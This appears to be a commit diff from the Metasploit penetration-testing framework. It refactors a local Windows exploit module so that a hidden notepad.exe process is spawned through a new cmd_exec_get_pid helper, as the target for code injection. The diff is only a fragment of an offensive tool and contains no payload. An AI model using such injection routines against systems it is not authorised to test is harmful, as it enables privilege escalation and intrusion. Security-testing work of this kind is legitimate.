Use new cmd_exec_get_pid
parent
2a6258be15
commit
d396be963a
|
@ -181,13 +181,13 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
windir = expand_path("%WINDIR%").strip
|
||||
print_status("Spawning process with Windows Publisher Certificate, to inject into...")
|
||||
cmd = "#{windir}\\System32\\notepad.exe"
|
||||
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
|
||||
pid = cmd_exec_get_pid(cmd)
|
||||
|
||||
if proc.nil? or proc.pid.nil?
|
||||
unless pid
|
||||
fail_with(Exploit::Failure::Unknown, "Spawning Process failed...")
|
||||
end
|
||||
|
||||
proc.pid
|
||||
pid
|
||||
end
|
||||
|
||||
|
||||
|
|
Loading…
Reference in New Issue